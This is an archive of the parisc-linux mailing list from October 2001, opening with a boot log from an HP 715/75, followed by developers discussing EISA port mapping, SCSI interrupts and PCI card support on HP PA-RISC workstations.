Page-cache hash table entries: 32768 (order: 5, 131072 bytes)                   
Searching for devices...                                                        
Found devices:                                                                  
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77        
2. Scorpio Sr. Core BA (11) at 0xf082f000, versions 0x19, 0x0, 0x70             
3. Scorpio Sr. Core SCSI (10) at 0xf0825000, versions 0x19, 0x0, 0x71           
4. Scorpio Sr. Core LAN (802.3) (10) at 0xf0826000, versions 0x19, 0x0, 0x72    
5. Scorpio Sr. Core HIL (10) at 0xf0821000, versions 0x19, 0x0, 0x73            
6. Scorpio Sr. Core RS-232 (10) at 0xf0823000, versions 0x19, 0x0, 0x75         
7. Scorpio Sr. Core RS-232 (10) at 0xf0822000, versions 0x19, 0x0, 0x75         
8. Scorpio Sr. Core Centronics (10) at 0xf0824000, versions 0x19, 0x0, 0x74     
9. Scorpio Sr. Audio (10) at 0xf1000000, versions 0x19, 0x0, 0x7b               
10. Scorpio Sr. EISA BA (11) at 0xfc000000, versions 0x19, 0x0, 0x76            
11. unknown device (10) at 0xfc001000, versions 0x0, 0x0, 0xfff                 
12. Scorpio Sr.(715/75) (0) at 0xfffbe000, versions 0x316, 0x0, 0x4             
13. Scorpio Sr. (1) at 0xfffbf000, versions 0x27, 0x0, 0x9                      
That's a total of 13 devices.                                                   
CPU(s): 1 x PA7100 (PCX-T) at 75.000000 MHz                                     
Mongoose EISA Adapter found at 0xfc000000                                       
Asp version 1 at 0xf0800000 found.                                              
LED (ASP-style) display at f0800020 registered                                  
POSIX conformance testing by UNIFIX                                             
Linux NET4.0 for Linux 2.4                                                      
Based upon Swansea University Computer Society NET3.039                         
Starting kswapd v1.8                                                            
parport_init_chip: enhanced parport-modes not supported.                        
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]                                
STI byte mode ROM at f4000000, hpa=f4000000                                     
STI byte mode ROM, id 27f12392-40a00499, conforms to spec rev. 8.02             
STI device: HPA1991AC19                                                         
pty: 256 Unix98 ptys configured                                                 
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI en
abled                                                                           
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A                               
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A                               
Found HIL at 0xf0821000, IRQ 94                                                 
HIL: no keyboard present.                                                       
Warning : device (10, 0x19, 0x0, 0x73) NOT claimed by HIL                       
lp0: using parport0 (interrupt-driven).                                         
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)            
block: 128 slots per queue, batch=16                                            
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize           
loop: loaded (max 8 devices)                                                    
Found i82596 at 0xf0826000, IRQ 87                                              
82596.c: MAC of HP700 LAN read from EEPROM                                      
eth0: Couldn't get consistent shared memory                                     
eth0: 82596 at 0xf0826000, 08 00 09 87 E4 8F IRQ 87.                            
82596.c $Revision: 1.23 $                                                       
SCSI subsystem driver Revision: 1.00                                            





From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 09:11:20 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <01101009112000.00829@Wolf-01>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <01101003320900.00964@Wolf-01> <20011010203110.S1100@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620599 27705 80.91.229.3 (22 Nov 2014 01:43:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Alan Modra <amodra@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 08:13:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05BD64846
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 08:13:05 -0600 (MDT)
Original-Received: from Wolf-01 (ppp148.cc1.pflash.com [63.121.24.150]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007267266@vopserver.pflashcom>;
 Wed, 10 Oct 2001 09:17:44 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011010203110.S1100@bubble.sa.bigpond.net.au>
Xref: news.gmane.org gmane.linux.ports.parisc:12560

On Wednesday 10 October 2001 06:01 am, Alan Modra wrote:
> >
> > Would it be reasonable to mask port numbers to 10 bits for ISA in the
> > inb/outb routines?
>
> No.  Some old ISA boards do decode the top bits, and actually use them.

Alan,

Correct - 
16-bit ISA cards NEARLY ALWAYS decode the top bits; but 8-bit
cards don't (can't, the wires aren't on that part of the socket).

My comment was based on the i386 branch, which does have such a
config option for the (very) rare installation that needs to support such
a board.

I was only wondering if this would be a REASONABLE place in the 
code to put it.

Mike




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 15:28:07 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <20011010152807.C24923@parcelfarce.linux.theplanet.co.uk>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <20011010134526.F11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620599 27715 80.91.229.3 (22 Nov 2014 01:43:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 08:28:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B90EE49CE
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 08:28:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rKL9-0001EY-00; Wed, 10 Oct 2001 15:28:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011010134526.F11105@linuxcare.com>; from rhirst@linuxcare.com on Wed, Oct 10, 2001 at 01:45:26PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12561

On Wed, Oct 10, 2001 at 01:45:26PM +0100, Richard Hirst wrote:
> Looks reasonable to me, but doesn't make any difference so far as
> EISA 53c710 cards in my 715/75 are concerned.  There seem to be two
> basic problems...

OK.  I'll commit this basic support then since it works better than
the current support.

> Interrupts - I can see from the 53c710 registers that it is generating
> an interrupt, but it doesn't seem to be enabled through to the processor.
> I didn't know which irq to request, so I guessed it might be one of the
> ASP ones (which I think cover 64 to 95), and did a request_irq for all
> 32 of them.  Didn't help.

I haven't written that code yet.  Basically, I need to allocate a new IRQ
region for EISA interrupts, then on receipt of Asp irq 21 read the EISA
interrupt number from 0xfc01f000.  It seems there may be some extra gunk
needed to handle the TI chipset, but I'll have a go at getting interrupts
to work later today.

Alternatively, we could hack the 53c710 script to generate CPU interrupts
directly :-)  Let me just document how that would work (Grant, please
correct me if I misunderstood):

Instead of generating a PCI/EISA interrupt, generate a write of an
allocated value to the CPU's EIRR (External Interrupt register).
This way, the CPU jumps straight to the scsi chip's interrupt handler
rather than Asp's, which then has to decode which Asp IRQ it was;
then jump to the EISA interrupt handler, decode which EISA IRQ it was,
finally calling the scsi interrupt handler.

We might need to work out some other infrastructure to handle this,
but it's something we should look into at some point.  Clearly I need
to get EISA interrupts working anyway :-)

> Bus mastering - the 53c710 is attempting to fetch and execute scripts
> from memory, but from what I can tell, it is picking up invalid data.
> Basically the chips script pointer has moved on one instruction and it
> is trying to generate an Illegal Instruction Detected interrupt, and
> the dsps register, which I think is used in script fetching, contains
> 0xffffffff.

OK, I haven't figured out how to do this yet.  In order for a device on
the EISA bus to access host ram, I have to program the IO Map in the
adapter.  I'm not sure Linux has an interface I can slot into for this.
Maybe the pci_alloc interface is the right one...

> atm I am using eisa_in32() to check the card signature, but then
> using readb and friends on (EISA_BASE + port) to access the card.
> The driver only supports memory mapped chip access on parisc, and
> as it is using memory mapped access for the on-board 53c700, it
> makes sense to do that for EISA cards as well.  I identify the
> card from a 32 bit signature at base+0xc80, which is apparently
> correct on Compaq cards, at least - dunno if that is standard.
> I'm pretty confident that I am accessing the chips registers ok.

>From the hp100 driver, and some of the other bits I've read, you should
probably be probing for the card along thse lines:

	for (ioaddr = 0x1c38; ioaddr < 0x10000; ioaddr += 0x400) {
		if (check_region(ioaddr, REGION_SIZE))
			continue;
		if (inw(ioaddr) == SIGNATURE)
			return 0;
	}

To access the card in memory mapped mode, just ioremap it and use
readb/writeb as usual.  This ought to work; I've written the code for
it :-).  I'm not sure how you discover the base address with EISA though
-- is there a register which holds this on the 53c7x0?

> Although the new code reports the EISA adaptor as Mongoose, that
> address has already been reported as "Scorpio Sr. EISA BA".

Right... just like Mirage Core BA gets reported as Lasi.  The Asp
driver, for some reason, trims 0xf082f000 down to 0xf0800000.

> 2. Scorpio Sr. Core BA (11) at 0xf082f000, versions 0x19, 0x0, 0x70
> 10. Scorpio Sr. EISA BA (11) at 0xfc000000, versions 0x19, 0x0, 0x76

> Mongoose EISA Adapter found at 0xfc000000
> Asp version 1 at 0xf0800000 found.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 15:48:10 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20011010154810.D24923@parcelfarce.linux.theplanet.co.uk>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <01101003320900.00964@Wolf-01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620599 27717 80.91.229.3 (22 Nov 2014 01:43:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: "Michael S . Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 08:48:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF47F492C
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 08:48:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rKeY-0001cH-00; Wed, 10 Oct 2001 15:48:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01101003320900.00964@Wolf-01>; from mszick@pflash.com on Wed, Oct 10, 2001 at 03:32:09AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12562

On Wed, Oct 10, 2001 at 03:32:09AM -0500, Michael S . Zick wrote:
> Old ISA boards only do a 10-bit decode and it is a frequent occurance
> that old drivers don't "clean up" the unused high 6 bits.
> 
> Would it be reasonable to mask port numbers to 10 bits for ISA in the
> inb/outb routines?

Actually, I currently do this, but I'm not sure I should be.  The EISA
adapter has to do different things for ISA port IO and EISA port IO.
I'm not sure which IO ports correspond the ISA and which to EISA.
Guessing based on the hp100 driver, I decided that ports less than 0x400
were ISA and the rest were EISA.  Anyone want to explain port numbers
to me properly?  The description in the Mongoose ERS assumes you know
a fair bit about EISA, and I don't.

Here's the current code for this:

+static inline unsigned long eisa_permute(u16 port)
+{
+       if (port >= 0x400) {
+               return 0xfc000000 | port;
+       } else {
+               return 0xfc000000 | ((port & 0x3f8) << 9) | (port & 7);
+       }
+}

The ERS adds in (port & 0xfc00) >> 6, but the test ensures those bits
are clear, so there's no point.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 16:38:46 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20011010163846.E24923@parcelfarce.linux.theplanet.co.uk>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <01101003320900.00964@Wolf-01> <20011010154810.D24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620599 27720 80.91.229.3 (22 Nov 2014 01:43:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:19 +0000 (UTC)
Cc: "Michael S . Zick" <mszick@pflash.com>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 09:38:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A07549F6
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 09:38:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rLRW-0002RI-00; Wed, 10 Oct 2001 16:38:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011010154810.D24923@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 10, 2001 at 03:48:10PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12563

On Wed, Oct 10, 2001 at 03:48:10PM +0100, Matthew Wilcox wrote:
> I'm not sure which IO ports correspond the ISA and which to EISA.
> Guessing based on the hp100 driver, I decided that ports less than 0x400
> were ISA and the rest were EISA.  Anyone want to explain port numbers
> to me properly?  The description in the Mongoose ERS assumes you know
> a fair bit about EISA, and I don't.

Ah, I found an appendix :-)

EISA cards have a slot number which determines the upper nybble of their
IO port numbers.  Then within that 0xfff of space, they use 0-ff, 400-4ff,
800-8ff, c00-cff.  The rest are ISA ports (or aliases of ISA ports).

So here's the function to use:

static inline unsigned long eisa_permute(u16 port)
{
	if (port & 0x0300) {
		return 0xfc000000 | ((port & 0xfc00) >> 6) | ((port & 0x3f8) << 9) | (port & 7);
	} else {
		return 0xfc000000 | port;
	}
}

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 eisa nic
Date: Wed, 10 Oct 2001 16:45:13 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20011010164513.F24923@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0110100827310.4675-100000@lefou.zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620600 27722 80.91.229.3 (22 Nov 2014 01:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 09:46:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04D014A04
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 09:45:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rLXl-0002dL-00; Wed, 10 Oct 2001 16:45:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0110100827310.4675-100000@lefou.zayda.com>; from sonny@aspersion.org on Wed, Oct 10, 2001 at 08:33:21AM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12564

On Wed, Oct 10, 2001 at 08:33:21AM +0000, Sonny Cook wrote:
> I have a 735/125 and an EISA i82596 based nic.  Does the parisc-linux
> kernel support this combination at the moment?  As far as I can tell from
> the list archives, the answer is no, but that wasn't for this specific
> combination, so I would just like to be sure.

If you read some of the messages on the list today, you'll notice I've
just got some of the necessary EISA support in place.  So the answer
is `No, not yet, but probably quite soon'.  I remember seeing some
intel-based nics in the EISA card box yesterday, so I may be able to
try out this particular card myself.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin.external.hp.com,... unreachable through 
 quest
Date: Wed, 10 Oct 2001 18:48:45 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0110101837030.758-100000@noc.zabbadoz.net>
References: <20011003182725.1901A37DBC@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620600 27725 80.91.229.3 (22 Nov 2014 01:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:20 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 10:50:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D2CD4A04
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 10:50:09 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f9AGmj006542;
	Wed, 10 Oct 2001 18:48:49 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <20011003182725.1901A37DBC@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12565

On Wed, 3 Oct 2001, Matt Taggart wrote:

hi,

> It appears to be a routing problem which seems to affect mostly non-US domains.

well that's not a problem of domains but of prefixes/upstrems/routing/...
at least us internal quest traffic should also be affected ...

> I filed a support request on Monday. They're still trying to figure out what's
> going on. I'll send mail once it's resolved.

The prob still seems to exist from what I can tell from here :(
That's amazing that two great companies like kpn/quest and hp cannot
solve such an issue within one week ... at least they could have
removed the announcement from there so that the traffic will take
other routes (what would be far better than ending in nowhere)...

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 11:57:29 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <01101011572901.00829@Wolf-01>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <20011010154810.D24923@parcelfarce.linux.theplanet.co.uk> <20011010163846.E24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620600 27730 80.91.229.3 (22 Nov 2014 01:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>,
	Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 10:58:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74FDA4A15
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 10:58:55 -0600 (MDT)
Original-Received: from Wolf-01 (ppp148.cc1.pflash.com [63.121.24.150]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007269694@vopserver.pflashcom>;
 Wed, 10 Oct 2001 12:03:34 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011010163846.E24923@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12566

On Wednesday 10 October 2001 10:38 am, Matthew Wilcox wrote:
>
> Ah, I found an appendix :-)
>
> EISA cards have a slot number which determines the upper nybble of their
> IO port numbers.  Then within that 0xfff of space, they use 0-ff, 400-4ff,
> 800-8ff, c00-cff.  The rest are ISA ports (or aliases of ISA ports).
>
Willy,
Sounds like you have it handled already - that 400-4ff range (plus 000-3ff) 
is the very old, 8-bit, ISA i/o port range (on i386 cards).
I think you just saved my very old PROM burner from the scrap heap.

On a separate subject related to your EISA work...
For 8/16-bit ISA cards that do not report resource requirements (i/o,
mem, dma, irq) and for the EISA cards without a "known" ID - perhaps
let the driver accept command line option(s) and leave the details to
the user.  For the IRQ mappings, perhaps something like: xyz_irq=8:zz,
xyz_dma=4:yy, etc. (without the ":ww" just map somewhere handy.)

Mike




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPMC when doing sync on c3k (32 bit kernel)
Date: Wed, 10 Oct 2001 10:57:43 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200110101657.KAA19790@puffin.external.hp.com>
References: <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620601 27733 80.91.229.3 (22 Nov 2014 01:43:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 11:01:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E95FE4A15
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 11:01:33 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA19790;
	Wed, 10 Oct 2001 10:57:43 -0600
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Tue, 09 Oct 2001 20:04:38 PDT." <20011009200438.F653@tausq.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:12567

Randolph Chung wrote:
> I noticed that when i do a manual 'sync' on my c3000 running a 32-bit
> kernel, I get a HPMC:
...
> "pim hpmc" says:
> A Data I/O Fetch Timeout occurred while CPU 0 was
> requesting information from a device at the path 10/0/14/1/1 (built-in
> PCI device)

That's the SuckyIO serial port. Randolph and I exchanged notes offline
and concluded his prototype C3000 has PA8500 v2.0 CPU (and newer elroys
than mine). I can't reproduce the problem with a v2.3 chip.  I should be
able to upgrade his CPU to v2.3 and we'll see if the problem persists.
Lots of bugs in pre-2.3 chip revisions.
(BTW, does that answer your question Helge? :^/)

grant




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] b132l pci question
Date: Wed, 10 Oct 2001 11:11:31 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <200110101711.LAA19860@puffin.external.hp.com>
References: <sonny@aspersion.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620601 27735 80.91.229.3 (22 Nov 2014 01:43:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 11:15:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A8D64953
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 11:15:41 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA19860;
	Wed, 10 Oct 2001 11:11:31 -0600
In-Reply-To: Message from Sonny Cook <sonny@aspersion.org> 
   of "Wed, 10 Oct 2001 08:36:54 -0000." <Pine.LNX.4.33.0110100833420.4675-100000@lefou.zayda.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12568

Sonny Cook wrote:
> I just got a b132l (woohoo).  How well is the pci bus supported.

It works. I wrote the original code but don't maintain it now.
(hint-hint)

>   There
> seem to be some voltage caveats with 5v and 3.3v, but I am not clear on
> the issues.

Yeah. I believe dino is capable of running up to 66 Mhz PCI (2x-PCI)
even though it's not clear that was ever done because of trace lengths.
Bus speeds above 33Mhz require 3.3v signalling.

>   Are there cards which are know to work, specifically, I am
> interested in wunning extra nics in it.

Yes - Tulip 100BT and all Symbios SCSI wun just fine. :^)

General advice:
"Universal PCI" cards (cards which are keyed to fit both 3.3v and 5v slots)
in general should work if you find a driver. Otherwise look at the product
specs to determine which voltage slots your B132L supports. Oh and the slots
are keyed to prevent folks from installing incompatible cards in the slot.
So if you already have the cards and know a driver is available, just try
to install the card.

grant




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 11:36:17 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200110101736.LAA19917@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620601 27739 80.91.229.3 (22 Nov 2014 01:43:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:21 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 11:40:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
